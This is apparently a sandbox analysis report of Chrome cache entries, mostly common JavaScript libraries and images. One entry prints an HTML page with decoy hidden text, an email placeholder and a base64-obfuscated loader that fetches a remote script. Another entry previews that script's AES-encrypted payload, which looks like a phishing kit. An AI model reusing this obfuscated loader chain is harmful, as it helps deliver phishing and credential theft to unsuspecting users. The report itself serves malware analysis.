URL:	https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20513), with CRLF line terminators
Category:	downloaded
Size (bytes):	21228
Entropy (8bit):	5.7164637039134725
Encrypted:	false
SSDEEP:
MD5:	B7E90A130D46A615AEE005FC1850FB9D
SHA1:	901DB97341FB3B48C1BC9D9894942675E4B0BC21
SHA-256:	0759E6E42C5140DB08B9FCF2D302AE7215F8CC8D51FCD915237C2093A528D41D
SHA-512:	E3B2DBD81DE8A0EBD48D982D595A0C54AA4C5135DE16537317678A284E7B7516F22AFFC287DD402FC3FE14D8D294FA3BEF9A0CA9B29B48BCCD404F3CD827C437
Malicious:	false
Reputation:	unknown
URL:	https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js
Preview:	..function decstr(encryptedString, key) {.. const encryptedData = CryptoJS.enc.Base64.parse(encryptedString);.... const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4));.... const ciphertext = CryptoJS.lib.WordArray.create(.. encryptedData.words.slice(4).. );.... const hashedKey = CryptoJS.SHA256(key);.. const aesKey = CryptoJS.lib.WordArray.create(hashedKey.words.slice(0, 8));.... const decrypted = CryptoJS.AES.decrypt({ ciphertext: ciphertext }, aesKey, {.. iv: iv,.. mode: CryptoJS.mode.CBC,.. padding: CryptoJS.pad.Pkcs7,.. });.... return decrypted.toString(CryptoJS.enc.Utf8);..}.......... let ballerina = decstr(atob("RUNTcnY3T2ZtRjdxaW0rOGZyRE00MFYyc3RpOFV1TVduZFpWSnJ3a1UwWVRDcjlZUzhxSVViUjh4NnRQYVhIdXh4QnU4M1lXTWVINHg4eGRJcDhWSzMwMndIM0I1b1VtbFlDQ3NtOUdXVlBqR1JPUTNKQVI5UW8rS09jWmNXRnVic2dtcXl2S1d3K21HR0xyaWVMendxTkxOSG9zM3NMQ1VaZlA5elpvVVZhVTVBbCtjaHdqU0hwaTZaVG0rdnVCMFN1N2FTdExDU2RQU0xYaGsvYklpNVNWb3BVTUYwelFLNWFQeGROOVlVc0F1R0NHeUxSVkVrc

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.3772781309874365
Encrypted:	false
SSDEEP:
MD5:	748997A94B4561E098C9BF851F3ACAA8
SHA1:	576985670D9B0EFA68B1C158D8EF6ABF99AA2D2B
SHA-256:	2FCCA67B40FC07D947B320520772E3C622D12F30126278053B34B1A10508B175
SHA-512:	255F491F4F14A2BB85DB9592B64F4C6264DB06FCCFEE6BE52437755C043C1B57334D81028740949E98939203009301EBB4FB0850D725782994FE8D8D8FAA3FEA
Malicious:	false
Reputation:	unknown
Preview:	{"ip":"173.70.251.111"}

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9211), with no line terminators
Category:	downloaded
Size (bytes):	9211
Entropy (8bit):	5.4619660985856004
Encrypted:	false
SSDEEP:
MD5:	E6A40488A5F5774D02C06D0787EF01D8
SHA1:	B15E42BC41917B9454C76FCEEDB4368F60DE90C2
SHA-256:	A18CBDBB0FBB733D7F4CBA5D2AFD6B2706E3F141C743F491057E5800368CD8E5
SHA-512:	20D8DC726F9F7CC043EEBA28A611E5B8DAEAC17D132F36521143D7DA89B124FEFC868F076F2988B5B71D8771EF8339DBC5E061C1CBAA77A067901BDD5DE6F5A6
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/swfobject/2.2/swfobject.min.js
Preview:	var swfobject=function(){function e(){if(!J){try{var e=I.getElementsByTagName("body")[0].appendChild(g("span"));e.parentNode.removeChild(e)}catch(t){return}J=!0;for(var i=B.length,n=0;i>n;n++)B[n]()}}function t(e){J?e():B[B.length]=e}function i(e){if(typeof D.addEventListener!=k)D.addEventListener("load",e,!1);else if(typeof I.addEventListener!=k)I.addEventListener("load",e,!1);else if(typeof D.attachEvent!=k)y(D,"onload",e);else if("function"==typeof D.onload){var t=D.onload;D.onload=function(){t(),e()}}else D.onload=e}function n(){G?r():s()}function r(){var e=I.getElementsByTagName("body")[0],t=g(T);t.setAttribute("type",M);var i=e.appendChild(t);if(i){var n=0;(function(){if(typeof i.GetVariable!=k){var r=i.GetVariable("$version");r&&(r=r.split(" ")[1].split(","),W.pv=[parseInt(r[0],10),parseInt(r[1],10),parseInt(r[2],10)])}else if(10>n)return n++,setTimeout(arguments.callee,10),void 0;e.removeChild(t),i=null,s()})()}else s()}function s(){var e=j.length;if(e>0)for(var t=0;e>t;t++){va

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	81
Entropy (8bit):	4.213765628447698
Encrypted:	false
SSDEEP:
MD5:	8BB76CC0F03CF3F036441B1389029702
SHA1:	B8544B8D10A498D4236321CCB8396DE29FCC8B8B
SHA-256:	0EADACB7E76A1D98675382356018F13A0BE8263DBC4D1A26CEA375492D930589
SHA-512:	16F7424EC40801CBA50778EB85865DD7D1CF564D1D62291FD963BFAC4E50017485AEDF6DD4CD90B15304F5F3E29E09BE71CA79B5E80DAF80B1B7479629B17E4F
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/favicon.ico
Preview:	Requested organization doesn't have public publications available at this moment.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4055)
Category:	downloaded
Size (bytes):	158960
Entropy (8bit):	5.606566789343743
Encrypted:	false
SSDEEP:
MD5:	6D0DD97D69A62ADC176AF64FF3C7BCB5
SHA1:	F76BC47C4BFEB0C98AD183FD749594DD8EF9E2C0
SHA-256:	FE22E3CFC7CEE4F579D88AA8AFA8C6E19241B766491FE10B274AA38575CDC35E
SHA-512:	20AB70F00D8DAD303168F9E63322B267596ED8DCC951FE12CB3625A93B8D07A93E718FCBC91CEDE1FC3CC5D92699DEFD36373976019928A611D9C705141848E3
Malicious:	false
Reputation:	unknown
URL:	https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
Preview:	(function(sttc){'use strict';var aa=Object.defineProperty,ba=globalThis,ca=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",da={},ea={};function fa(a,b,c){if(!c\|\|a!=null){c=ea[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}} .function ha(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var e=d[0],f;!a&&e in da?f=da:f=ba;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ca&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?aa(da,d,{configurable:!0,writable:!0,value:b}):b!==c&&(ea[d]===void 0&&(a=Math.random()1E9>>>0,ea[d]=ca?ba.Symbol(d):"$jscp$"+a+"$"+d),aa(f,ea[d],{configurable:!0,writable:!0,value:b})))}}ha("Symbol.dispose",function(a){return a?a:Symbol("Symbol.dispose")},"es_next");/ . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var p=this\|\|self;function ia(a){a=a.split(".");for(var b=p,c=0;c<a.length;c++)if(b=b[a[c]],b==null)return null;return b}function ja(a){var b=typeof a;return b=="object"&&a!=n

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	6017
Entropy (8bit):	7.962998679681985
Encrypted:	false
SSDEEP:
MD5:	76793BA76162EEF4D6F04B200B15C83B
SHA1:	24FBB884A37C5C118677F1C5D4BA40178EBEC884
SHA-256:	E82F380E9410219F8BE0599F2E56392E4494F8F1E885CB60CAD03B3CE181370A
SHA-512:	90739C18C3041411F0C796FD147AE5972CF3BF5DCF98131DA2F88BCEC8F60942F7B5AEB0D302576CF35B4D87EF0061C7E5EA61D3C5BF8F272A41A06A8DB04ACD
Malicious:	false
Reputation:	unknown
URL:	https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css
Preview:	.VhDT.z..!...+.....n..c.s.....D...!..O....[4.U.w........;...s.Oo.d...1<`F...\|....}....Bq.H:.../7].U]7~.......h+.A.0..y.v....cY.b.N._.~....i..W.~y.....z..L.9."..g..9.iQm....W..{..'3..U.7._(`..m.C.yJ....^...._...._&.......O....gDo.....T..$....'......\|..o_......5........'..F..~......>.K.D.o..o..K...[,.c.h.a.g.o._.]..)..c..O.....W.UW_......os~N.I&. .i.....o..6...........\|_'x.5...p)q......v....$.....a.~......Q...../..Jjb..0....X. .t./.......f.g...}......E......\|"....=.........q.a...[v.n.>._J....~...i..;w..9.......Q..1..^6..+.sk.;S.\|/./7.l8m....g..W.}".h...OH..Y....\|X.]vz"^...+.7...(...K%._#...e.Lk..2......o.t.....e....~...4.emQ.....g..g.~^...5........Q9..b..`..#.#.C~....L,...p.!."U.....F...`..F...<.>QMTIq.T......#.Q....[......../P_.......m.5.p28..$.r.VP.n.q..%(..n.Gl..-...x...?.['0.?.s.%.ri.3..o....f.g........N....>.q....%.O.35..n.+py-.i}...=..`.,..tGNOw...#..%../K..q...r?..j$.".d...;cW.=...A..0.O..~....&....{._.Y'Y..y..,....cY....f.3

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (4303)
Category:	downloaded
Size (bytes):	4768
Entropy (8bit):	5.378422341052939
Encrypted:	false
SSDEEP:
MD5:	1B091891A4E762B0B2DE53BA7DCF7A84
SHA1:	BEA23910712CD7EC76665082B056581567EF888C
SHA-256:	96A090B2C5210F6141FBA2A3B18B567842A3D9CB7B04C82C127BB89407FF93CD
SHA-512:	D5A88E18ECA7EB9623B1C037964DE8F078AEF458AE699391AFF6E687C632ACCEDAB6A0C75E7A0B68536F9BEA8C01E625CEFA45403402C11DF355DE4B3C97A985
Malicious:	false
Reputation:	unknown
URL:	https://wurfl.io/wurfl.js
Preview:	// This file is generated dynamically per-request and cannot be used directly..// To use WURFL.js, please see the documentation at https://web.wurfl.io/#wurfl-js.//.// Copyright 2025 - ScientiaMobile, Inc., Reston, VA.// WURFL Device Detection.// Terms of service:.// https://www.scientiamobile.com/terms-of-service-wurfl-js-lite/.//.// For improved iPhone/iPad detection, upgrade to WURFL.js Business Edition:.// https://www.scientiamobile.com/products/wurfl-js/..var WURFL={complete_device_name:"Google Chrome",form_factor:"Desktop",is_mobile:!1},WurflJsUACHResolver,wurfl_debug=!1,wurfljs_host="https://wurfl.io",wurfljs_cache_ttl=6048e5;/! WURFL.js-BE 2024-10-02 [65a35e0] /WurflJsUACHResolver=function(e,t,n,s){function c(){m("WurflJSDetectionComplete",f())}function v(e){e instanceof SecurityPolicyViolationEvent&&e.blockedURI===l&&(e=new URL(l).origin,console.warn('WURFL.js was blocked by your Content-Security-Policy, please allow: "connect-src '+e+'"'))}var h=t+"/65a35e0",o=e,u=s,a=o.do

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	unknown
URL:	https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "acf211b-hammer204.min.js", last modified: Mon Nov 25 13:39:54 2024, max compression, from Unix, original size modulo 2^32 18358
Category:	downloaded
Size (bytes):	6308
Entropy (8bit):	7.964681625439865
Encrypted:	false
SSDEEP:
MD5:	774D27FEAA4C64E99540176471EB5F05
SHA1:	D95DC4C18C6FD4B89A98878949E24EC574734AA0
SHA-256:	5A12A1668508101AC161E4608335631601D012BC1AD53D26A2CA5523DAFDB84A
SHA-512:	FE913C320E896B04DC454AF4E51D6F6CADAB4C9AB5E852DF318BFFFF5DBF9A8D264970BE367681A118DBD744E8CAF7BCD1EE84611B60A6F844E810783E0C87B1
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/js/acf211b-hammer204.min.js
Preview:	....~Dg..acf211b-hammer204.min.js..\ms.5.....x..8.e....IJ.y)M(.!.t.}..3.9....y..;.l......hW..j.Z.V.n}R.....z.....v...n}....gO._=}....Oj.,.G[[...z..'.`&[I..Z".K..I..d.@.y..w.$....Q_.c=...Q..h...l.T-.....ymh.O.>..f#.%.(.L2...}c..i6IT....5m......&..Tg..NgYp..T0..K.....d".d...D.....R^Q.z;...u.h}'&5.I.-..V/...5..R@d.=..9.P....y.."..._..N([J...b.R_1.D...'.=..&.~ ......t.'.<.a.....<(.&&...T^k..n.\|... I.k]J...b..M0..]]qH.>..../.A<.C..K.?.\.;)..\.....5..Y....s.BP5."..).[.a.gK'\.~;.A.\3.<.b...n...TbDK...9&JL..[=...5.V..@i.&8...eW^....8.A.yj..4.....F.....f.....>... .Q2..H..)V.......9L.mz........N..L.s.........9Ic.4x.E.Z.i+.z~w..;O=.I <",.. lM..$..~.>..{BM..H..a.YW.^:.a...[Q.:7...R...bQ.0wC.....;._.,.U....5%7e..`.q...P.X..1..........o....4..~.n6..x6....+./.^)i.#.b..[.t....TN.`....#K.b.9q.H\'.b.b.I....1.... \|"....1......'.O.U]...If..Dw.Nr..{..S....] ..$./....*_....X..l..N..b!.....H.....a>:...i.~Z.b$..\...LJ.n.4..j..d....&l:&.SX.x....R....1..`./.a...C

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 576 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11362
Entropy (8bit):	7.882772408846647
Encrypted:	false
SSDEEP:
MD5:	2197B62B12D7381A19D7F47C667E60A0
SHA1:	702D2A81F02507B4F05358CAEA5FD2A8A2C9F040
SHA-256:	BC08EB4403332A785506B21DBB99671BF86FEC4C9362B1CBD693C50C398F4F04
SHA-512:	FFF0A5397DFB6A9B0A311F38E6E4F57FCC5CAE024AE570E796FB2E7C1BD60C3C2096C29E3B73DB85121EDA0084B7DFB8F8AF73EB038A1F8530F9236753925968
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@.........z."w....gAMA......a.....sRGB...,.... cHRM..z&..............u0...`..:....p..Q<....PLTE............$$$+++333<<<CCCLLLTTT\\\ccclllttt{{{.s.....u..\|.....................................#..-..7..;..=..#..$..,..&..,..3..4..:..;..=..G..L..P..B..C..K..K..P..]..D..G..M..L..T..Q..T..Z..^..]..e..d..i..i..g..e..k..k..s..r..u..v..z..~..{..}...................................................................................................................................................................}.F.....pHYs..=\..=\.b ~!..*.IDATx......%.........a...........Nf $..mY.e2I'!$.;!.-)Y30@K...G.?.{.s.....t.I....l.%....>.Hr2...9...A...@....... ..A...@... ... ..A....... ... ..@....... ..A...@...k.......w; 8..Qqo.)....?i.......r3.WSw)zc....z3.r..(........F.'.c.....d.\.b.:./....l..-O&..3....hYn.....z.......tsU.&....S.i...9...3..}..J.Oz...."h.w...Si.}.U.Z....G..=..[.$...2.h8..v.S.rW+.U...nJ..q.....z.F.....a....jo..e2...

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4439
Entropy (8bit):	5.162970066579404
Encrypted:	false
SSDEEP:
MD5:	B82B52E3D305BF011F7601429DBF6753
SHA1:	0663013674BCF9AAD8AE30BD885BD08F97C4C6B3
SHA-256:	52E42864957819902B602EC2571B4BB4DBC4FC3D35B59F6EBEF8DF48DF7AB9DF
SHA-512:	C9CD4E1DC80956439BCFC4D3A9A9F075AFC58527156DAC2A0F7A402226E7C0395074EC368AD1DC294A92FD72E3DFF6491956E1B2448A64C0E6DF39BE654FCE84
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" ng-app="wurflIO">..<head>. <meta charset="UTF-8">.. <meta name="csrf-token" content="">. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">. <meta name="description" content="">. <meta name="keywords" content="">.. <meta property="og:title" content="WURFL.io">. <meta property="og:description" content="">. <meta property="og:type" content="">. <meta property="og:url" content="https://web.wurfl.io">. <meta property="og:image" content="https://web.wurfl.io/assets/img/wurfl.png">.. <title>WURFL.io</title>.. <link rel="apple-touch-icon" sizes="57x57" href="https://web.wurfl.io/assets/img/favicon/apple-icon-57x57.png">. <link rel="apple-touch-icon" sizes="60x60" href="https://web.wurfl.io/assets/img/favicon/apple-icon-60x60.png">. <link rel="apple-touch-icon" sizes="72x72" href="https://web.wurfl.io/assets/img/favicon/apple-icon-72x72.png">. <link rel="apple-touch

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "b66357d-html-Viewer.js", last modified: Thu Dec 12 21:51:54 2024, max compression, from Unix, original size modulo 2^32 1591516
Category:	downloaded
Size (bytes):	233307
Entropy (8bit):	7.998715735627338
Encrypted:	true
SSDEEP:
MD5:	C784A47E00CB72D5A57EE61AA8063A02
SHA1:	7928AB4921F3B98FDE3BEABA18BD53025284C0F2
SHA-256:	08CF7EF412A69365163BE0F235EE4EFCC077FA8C1AC45B5D25200EABBFA4DF67
SHA-512:	7A9087C0C94CDFDB513E7F4FA19AA607A517CE9D4547A1C16A94F73663ED3F865C105EE65513BEA26787CCDD6FC2434535D477A9268B1FBBEB70DED8B5169B2B
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/js/b66357d-html-Viewer.js
Preview:	.....Z[g..b66357d-html-Viewer.js..[{s.6.....0..j.....e...z.W...I...rL..."..........M.7C,..j.Z..`l....c...f0MC.u.3.F\|.D\|d...a.....q......c.....0...q..2..ay.........ob............mdx;.`.....0.1...C.1....KCN..L..4...1..x.u.w.!"..w.c..rs&....;./....lj..d>..a. ..,..Vxb.......s.j.....D..%...._...)..3...,?....?..P...a=.rbx.....x.i.v...&.#1{...4.;../.g...<....gF/..v....K@_...>j.... 1...>..#n.5.\|.%`..&V......D>...4..........Q.....<.6b!.1.b.K.?.0HYZN.7..x.`W$...$.....<.......e...~.....f.M.^3g..O...=...b.;@L..].?.....]r..bp*Fi......;<.,._._c.log.Mo:...u3`<.:'s......D#.x..8u.w..z.A.S...p\|@...=.MeTD.ri.db.3....-."...U...'Jv[.7.Z.Z....A..H..2.......v.^..[;6..E_........c.[..EB...r......a~f..9...6.]......{{v..p~}vl.pI.\|.hw....r.!.nv.M..C./....CS#W...7\|..I.Vt.9.^2..e.[.P.d1....B..F^.sw:..q3...t.F..VLB_....-.FSK..s3M..2.`.J.1t.....n.f.~.m......9..Y..w.....>~[m...zg..5.......;?....s.....".9.;..{>..p...)...].1...U...mNK......g#LL.......K.+...M..../b1K...c....w7E.p

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (377), with CRLF line terminators
Category:	downloaded
Size (bytes):	874
Entropy (8bit):	5.581185038414378
Encrypted:	false
SSDEEP:
MD5:	95FF6D669F6B1D8C5EC74928055FA3A2
SHA1:	63D0987205F9D6C4E4CC9ED958A61ECE60DB265C
SHA-256:	116C9B6049BD8052482582130A9897E74A1BD5DA79014BFB4D0CFB0DD7E8F0EE
SHA-512:	482E4B3108EF8E95DEB69239E731E74A22D2B7C9AC3C92D5E68950F418B5B4CC233DFE1DB24431829EAE470F07325AC14410CF2FC30949C44C2CECB82A80996E
Malicious:	false
Reputation:	unknown
URL:	https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html
Preview:	<div style="display:none;"> We have two ears and one mouth so that we can listen twice as much as we speak. </div>..<html>..<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>.. <script>.. tqrYIfsQrJ = `{EMAIL}`;.. </script>.. <h1 style="display:none;"> A lot of people give up just before theyre about to make it. You know you never know when that next obstacle is going to be the last one. </h1>.. <script>.. new Function(atob(`SUppa1hxYXkgPSBbJ2h0dHBzJywgJzovL20nLCAnaXJjJywgJ29ybmdybycsICd1cC5jbycsICdtL2xsJywgJy9hdHQnLCAnYWNoL2onLCAncy8yZWlpJywgJ2JoczknLCAnQUhWNycsICdEcEsnLCAnRDQxMUEnLCAnUktwTHphJywgJzJuYTIyJywgJ2liJywgJzIyRScsICdqRFdJJywgJzBnT0RQQicsICdnaVI0JywgJy5qcyddLmpvaW4oYGApOwpkb2N1bWVudC53cml0ZSgnPHNjcmlwdCBzcmM9IicrSUppa1hxYXkrJyI+PC8nICsgJ3NjcmlwdD4nKTs=`))();.. </script>..</html>

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1897 x 1581, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	65796
Entropy (8bit):	7.843548963295468
Encrypted:	false
SSDEEP:
MD5:	575C1F7209AE72B614E5C67CE668D7E7
SHA1:	FAC9C5480C585C6B1EB52623E41687724F28291B
SHA-256:	84A15A76774311B6832058AE87AA090FFB73B819BC81B8C9FA49561317E8140B
SHA-512:	FF3C6DBD5852D47FDE8D5191F05948D2F22BBFFAE7F00A07B385FC095B4697FBDFDF666B5C9127323D630A298E95A0C95F17120A78CB62BE845C63E2F9C7CA0D
Malicious:	false
Reputation:	unknown
URL:	https://o.createyourmagazine.com/hKFadndDEbaDIFiuh6oJD_tzuBm8gbjJ-klWExfoFAs
Preview:	.PNG........IHDR...i...-......~......gAMA......a.....sRGB...,.... cHRM..z&..............u0...`..:....p..Q<....PLTE............###+++333;;;DDDLLLTTT[[[dddkkksss{{{.w..u..v..\|..v..{..\|..w..{..}..~..}..v..}..~..}.....v..~.........................................................................)..#..$..,..+..&..&..,..-..6..3..9..<..3..:..=..9..$..#..+..#..%..,..+..3..2..5..;..<..7..A..B..D..L..K..H..R..W..C..D..J..H..M..C..^..R..U..\..Z..[..R..F..L..K..F..S..S..U..U..Z..\..\..Z..]..c..k..n..g..q..s..\|..z..c..c..i..k..e..l..l..g..n..s..r..u..t..\|..\|..\|..z..x..}..~...............................................................................................................................................................................................................................................................................pHYs..=\..=\.b ~!....IDATx....8.E........../...}..d.`.,....+.d0f(oG(b.G.........i......'?..O~..g.}T..

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	2454
Entropy (8bit):	7.923563176468452
Encrypted:	false
SSDEEP:
MD5:	E60B98A116031AC7D0D29493676C86BF
SHA1:	AA1C730E98C1C876976EB9606F2401D6EE586B10
SHA-256:	D8C7A6D8F045F357116FDA222CE0626C7710234F9FB8EC714C78991CC99D9906
SHA-512:	029DA1EFB0E94DCECB83DE02A722DB3C7CCBC7064402C94648D05CE243BE938FA5426F88E8E97C92107A70CB91D1D999BCC39623A174FC53407DEFAD335BB8B2
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/alliedcon/allied-construction?html=true
Preview:	.@....t.w_No.......Y...`[....."..@`'.....r..Z.A.e++.$.9..!......}..r%".T.....j.d.....j......SMz.Y.....7j....C.....N..\|.C.#:1..5...J.p...V.R..J...Z..^..].2...x...........!...&..>.&......0..O.P...$\|...^...-(?..N..J...;o.).>c....>.o.Q...x?.vJ..p.H....4H.`.4..d..v...^K.}Y..D.eqET)b...=<&.=2.M.f;6..-SJ..2...}.....-...R_r..e..(.I..v...R.%.Rg9.WS...O.>.Me...r..].6.U..R_&wK.f.....K2..[q.F....m~$.a9......M.-q.H..O.No.+..w..E..X.3..N@...5.$..X.e.K4...YP..[..J..%.O>....0.]O>D }.N.2v..Li..p.=..<..NR~f......(Hl[.;c..x..7....]...0d..[..IA.R.C......F.>;<.N......G.H..[.A.O.a..*^v[.......bmy..._/...c....i...R.o.w.;...4n-m.)j..&.2n..._..O..>_q...Q$.QX.t.P69.G..Q8..F....c.y.................(.B.=.Lh....K..G.u...`.XRH..g........s.f.p.BC..B....nQ{.V.\|.:,.u...nvW..<.3...>....d...N.b:.7...w/.....W....l;.......:)m.l.....\|.+Y.T&.5..........B...J....Ic...p.`ka...Z#......%..gS...q..\.X..h.tJ....C...u&.a\|......R....t.w...!g.9}`m...d..`.......a.?.t..o...W.=..j...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	603
Entropy (8bit):	6.475329753840984
Encrypted:	false
SSDEEP:
MD5:	C9674A61F8385B59D024A8263875FA35
SHA1:	6EF70AC3FF1E3C821191953E0CA0C0AB11C4D24E
SHA-256:	75638E2A7B06AEE9AE74A6BEB67CAB93A51EA5DE6F5D21DCC29C1AA9E17FDD3F
SHA-512:	1163426CF4A6361C27081B010EDAEFE562B507D6F3640B8A419789B8336E904F53D81FCC3DFD09456EE8022324C6A891C09368D2EF191235CCCADF1D108E35EB
Malicious:	false
Reputation:	unknown
